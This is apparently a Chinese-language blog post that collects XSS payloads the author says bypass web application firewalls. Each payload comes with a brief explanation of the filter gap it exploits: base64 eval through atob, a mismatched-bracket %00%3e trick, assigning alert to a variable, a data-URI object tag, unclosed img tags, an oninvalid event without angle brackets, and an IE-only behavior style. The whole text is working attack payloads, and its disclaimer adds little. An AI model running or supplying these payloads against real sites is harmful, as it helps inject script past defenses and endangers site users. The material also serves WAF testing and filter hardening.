本文仅作为技术讨论及分享,严禁用于任何非法用途。
说明
这是是一些个人构造或者收集而来的成功绕过waf的payload,持续更新。
XSS PAYLOAD
- 某waf拦截
=alert
、=eval
等,却不拦截=console.log
1
<svg/onload=console.log(eval(atob('YWxlcnQoJ3hzcycp')))>
- 匹配
<>
中间不能有=onload
等任意javascript事件,内容只匹配一次,第一个<
与%3e
匹配了,第二个<
与最后的>
匹配了,所以第一个<
与最后的>
中间的onload=
没有被拦截1
<svg admin='<%00%3e' onload=alert`xss`>
- js关键字拼接绕过,把alert函数赋值到变量,通过变量调用,可绕过函数名的拦截
1
2
3
4ex1:
<svg onload="var a=alert;console.log(a(1))"></svg>
ex2:
11111111"><svg+onload="var+a=alert;a(1)"> - 无事件和js代码xss
1
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">aaaaa</object>
- 不闭合标签,利用了浏览器自动补全标签的特性xss
1
<img+src=1+onerror%3Dalert(1)+aaa
- 无尖括号,绕过disable,oninvalid事件(需要在输入框按回车触发)
1
1123123123xss" scr="" oninvalid=a=alert;a(1) pattern="a" type="submit" a=
- 绕过hidden,仅IE可用
1
xss" style="behavior:url(?)" onreadystatechange="confirm(1)